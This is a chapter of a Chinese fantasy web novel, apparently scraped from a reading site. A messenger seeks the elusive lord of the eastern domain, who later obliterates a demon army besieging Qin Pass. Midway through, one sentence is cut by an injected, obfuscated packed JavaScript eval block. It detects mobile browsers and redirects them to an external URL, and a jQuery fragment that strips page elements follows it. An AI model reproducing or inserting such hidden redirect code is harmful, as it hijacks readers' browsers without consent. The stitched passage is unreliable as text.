56.#####
作品:《养个病秧子要灭世》 朝历二百三十五年,季夏,君子岭。
君岭多山,连绵万里,其中有一座无名山,山上有一颗无名松,松下有一位无名客。
这位无名客穿着不俗,一身纯白神丝符袍,绣了古字纹样,闲闲靠在松下,也不知躺了多久,身上都已落满一层松针。山风徐徐,白衣也跟着衣袂临风,好似另一株不老松。
白云飘过群山,在山脉之间投下暗色的云影。
曜君城中,传信官望着被白云遮挡的正午太阳,无奈道:“涟华姑娘,请问姬域主什么时候才会回来?”
面容青涩的侍女涟华,盈盈作礼:“道督大人,家主事务繁忙不常回府,我们也不知道什么时候回呀。”
传信官抹了把汗:“可是中域有急令要送,天尊大人亲下的敕令,如果不亲手交给姬域主,在下实难回返。”
闻言,涟华左右看看,小声道:“道督大人莫急,我们家主虽然不好找,但耳朵很灵,只要是君岭地界但凡叫上一声他一定会听到的。您若有急事,不如……大喊几声试试?”
此时,两人正是在姬府门口交谈,对面便是苍南大街,人来人往。
传信官犹豫了一下,他早就听闻这位东域之主,也是姬氏的大家主,为人散漫,常年不在府中,如今看来只能试试姬府侍女的话。
于是他来到苍南大街,试探地喊了声:“姬域主——”
万里之外,无名松下,一点松针簌簌而落,露出一只耳朵抖了抖。
传信官见无人应答,再次高声道:“姬域主——元溪携中域急令特请拜见——!”
万里之外,那只露出的耳朵不抖了,只在清徐的山风之间睁开一双淡金色的眸子。
苍南大街上,许多路人驻足看热闹,传信官无奈回头:“涟华姑娘,您这个法子不灵啊。”
侍女涟华歉意道:“家主不可能没听到,他不回应说明您这件事不急,您还是在城中住一晚,等等吧。”
连姬府侍女都如此说,传信官无法,只能告辞。
曜君城依山而建,亭台楼阁错落有致。君子岭一带最有名的便是戏曲和菜肴,好不容易来一趟东域首城,传信官便找了个看起来不错的酒楼准备探听情报,当然,顺便也是来吃个饭,嗯,顺便。
漆台长柱,群客围桌,酒楼中央有一个戏台,戏台之上有说书人唱道:“古有云,群贤欲分疆,点兵来称王,姚对姚,姜对姜,君岭一出定鼎中央……”
酒楼里,客人们听得津津有味,传信官也找了个位置坐下,听到“定鼎中央”四字时,拈筷的手慢了慢,随即叹一口气。
“道友,此处无人,可否借来一坐?”忽然,耳边传来一个沉静的声音。传信官一愣,抬头,只见一位白衣道者停在他桌前,指了指对面的空位,神情淡然,周身自有一股中正平和的气度。
这间酒楼是名楼,位置早已坐满,此人是来拼桌的。
传信官倒也没介意,点了点头。对方便泰然坐下,倒了杯茶水,说:“在下方才路过,只见道友满桌美菜佳肴,却为何叹一口气?”
自己方才不过稍微叹气,竟被对方发现了,传信官一愣,这才仔细打量来客,发现对方相貌平平,是根本记不住的长相,只是周身平和清淡,又有一双淡金色的眸子,让人生出几分亲切。
“先生真是细致。”传信官感慨道,“我只是听到说书,有几分感触,让先生见笑了。”
白衣道者为对方斟了一杯茶,说:“戏说都是胡说,这篇《称王令》竟让道友心忧,莫非是想到了时局?”
此话一出,传信官只觉得遇到知音,点头道:“不错!如今六域看似升平,却暗潮汹涌,我从中域而来,一路看到东域如此繁华,工事建筑丝毫不逊于中域,竟觉得心惊。”
闻言,白衣道者的语气仍然温淡:“东域外有魔患,内有山碍,运道司花了百年时间才通行全域,使得东域四通八达,偏安一隅。道友有什么担忧的?”
传信官将茶杯按下:“唉,先生不知。要使天下大同,必得协和六域,而协和六域的前提是中域聚盛。如今却相反,四域渐强,中域渐弱,外强中干,是不祥之兆。”
“原来如此。”白衣道者露出几分了然,说道,“所以天尊大人才下‘集贤令’,让各域域主前往中域拜见。如此,姬领命便是。”
说罢,白衣道者朝传信官微微作礼,随即飘然离开。
待那抹白衣身影飘渺不见,传信官才似终于回神,愣了又愣,只记得方才好像遇到一位道友,那位道友与自己意气相投,竟让自己不自觉说了几句真心话。他想回忆下那位道友的容貌,却突然怎么也想不起来,甚至连方才说了什么都开始渐渐迷糊了。
……
浩大的云层涌向君子岭,这片乌云绵延百里,速度极快,整个君岭地界都似乎要被它吞噬。君曜城中,天空开始泛黄,风打着旋儿吹过苍南大街。
便有行人望天,恍然道:“要下暴雨了?”
君子岭边界。
大批的乌云黑沉沉压来,警戒的钟鸣声声回荡在山谷之中。
铛铛——铛铛——
传信的运道司仙使大喊:“魔袭——魔袭——!”
“怎么会有魔袭?”守在边山的神符师听到警戒十分意外,“此季正是炎阳聚空之时,魔祟之力减弱,道精之力增强,大魔怎么会趁此来犯?”
说罢,又凝重地看了眼远方黑压压的一片,以威压将声音扩散于山谷:“全军集结——!”
剑光与灵光交错,大型符船出动,无数修士自符船上飞下,簌簌如落白。前方巨大的黑云团,此时也露出真面目,竟是无数魔物组成的魔云,层层叠叠,如庞然大山。
领军的大修骇然:“怎会如此之多!这么大数量的魔物之前为什么没报?!”
“多说无益。”另一旁,驻守的神符师下令道:“速去禀报域主!同时传信各地大修,就说君岭魔变,请求支援!”
魔云与符船冲击,两股势力顿时绞杀在一处。
青黑色的魔物形态各异,源源不断,有黏糊糊遇人便缠的,也有千手百眼砍刀直落的……天空升起一张灵网,恢弘巨大,眼看就要将魔云网住——
嗡——
一阵巨大的低频鸣声自魔云中响起,似地鸣,又似巨人的脚步。
修士们抬头望去,只见天空骤然一暗,是太阳被一道隆起的巨大身影遮蔽。那团巨物黑沉如墨,周身又有火漆般的纹路,向外延伸,如岩浆一般。
其余魔物在此巨物出现之后,齐齐静了一瞬。接着,那巨魔周身竟生长出千百只触手,均匀环绕,逆光之下竟宛如一副远古的太阳图腾。
“这,这是什么!”众修士被巨魔的威压压得动弹不得,身心在看到如此恐怖又庄严的一幕后濒临崩溃。
领军的神符师却认出此物,有些绝望地说:“赤魔……”
天道署中有记载,魔生于上古
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082137|190995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又有许多流派,其中赤魔一脉不惧炎阳,具有遮天蔽日的威能。眼前的大魔,恐怕正是赤魔真身。
此地为秦关,是君岭要隘,虽然重要但毕竟不是主城,驻守的修士不过三千余人,勉强可以与大魔一战,但要对付一方魔主,基本没有可能。
认清形势,神符师一掌拍在符船的符文中枢上,只见层层叠叠的神符如莲花绽开,形成一道防御屏障。
“开护岭大阵——!”一声沉喝传遍四方。
以中央符船为轴心,许许多多符文如莲花绽开,都是一些小型符船以及修士们的结阵。这些符文在魔主面前犹如雕刻精致的指甲盖,一片接一片,连成一个透明盖子罩在了秦关山脉的上空。
攻已没有希望,只能守。希望这座护岭大阵可以多撑一段时间……
脑海刚刚闪过这个念头,接着,只听咚——的一声闷响。
神符师猛然抬头,发现大阵外密密麻麻的魔物竟抱成一个巨大的黑团,犹如一个小型赤魔生长着触手,往护岭大阵上狠狠一撞!
咚——!
又是一声。大阵剧烈摇晃,许多修士承受不住威能,吐出一口血!护岭大阵顿时黯淡不少,边角开始逐现裂纹。
见此,神符师彻底陷入绝望。本来他还打算支撑一个时辰,等待主城援军,可现在看来,魔物们只是普通攻击就已让他们难以支撑,真正的赤魔还日照当空丝毫未动!他们恐怕连一炷香的拖延都做不到!
咚咚咚——!
数万魔众密密麻麻笼罩了大阵,整个秦关上空遍布青黑的魔物甚为恐怖。魔物们组成三个巨大魔团,开始有秩序地一下下撞击,每一次撞击都蓄势待发,撞得地动山摇,秦关之内惊呼声响,一道深深的裂缝终于破开!
“阵破了……”
“救命!”
……
所有人绝望之刻——
忽然,一片潮汐自虚空中荡起。
刹那间,人、魔、草木乃至灵船法器,都凝固了。
神符师率先发觉异样——周围空间仿佛被无形的潮水淹没,一切开始褪色。
所有修士都停滞在惊恐的那一秒,所有魔物都停滞在撞击的那一秒,天与地骤然消失,世界失去声音,周围化作一片纯白,除了漫无边际的白,就只剩下姿态各异的人。
“域,域主……”这是虚术空间,专属于神符师的道境,领军的神符师最先明白,是域主来了。
白衣道者来得寂静无声。
一双淡金色的眸子,此刻映满神文,显出几分庄严。周身与纯白的空间融为一体,看起来走得极慢,实则身影快如一缕轻缈的风,所过之处留下浅淡的符文涟漪。
纯白空间蔓延,护岭大阵最先抵抗不住,瞬间消融,化为最基础的符链,簌簌飘散。
而这仿佛一个信号。
随着白衣道者进入战场,他只手一抹,一侧的数千魔众便仿佛被折进空间褶皱,急速消失;他另一只手再攥拳,另一侧的数万魔众仿佛纸被捏成了纸团,挤压成一个黑球。
嘶叫声终于传来,是数以万计魔物的惨叫,白衣道者无动于衷,手掌一搓,天空顿时爆开一团黑雾,那是数不清的魔物被碾成飞灰。
战局发生得太快,许多修士还未反应过来,直到队伍中的符师们惊醒。
“虚术空间?是域主!”
“域主大人来了!”
“我们有救了!”
……

